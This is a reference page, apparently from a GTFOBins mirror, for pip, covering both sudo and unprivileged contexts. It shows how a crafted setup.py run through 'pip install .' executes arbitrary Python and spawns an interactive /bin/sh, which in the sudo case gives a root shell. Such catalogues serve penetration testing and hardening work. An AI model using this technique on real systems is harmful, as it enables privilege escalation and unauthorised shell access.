Catalog GTFOBins

GTFO · Tool

pip

4 techniques Linux · macOSGTFOBins GPL-3.0

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege Escalation LinuxmacOS

This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems.

echo '...' >setup.py
pip install --break-system-packages .
Context
sudo
Native
inherit, from:python

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile Upload LinuxmacOS

This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems.

echo '...' >setup.py
pip install --break-system-packages .
Context
unprivileged
Native
inherit, from:python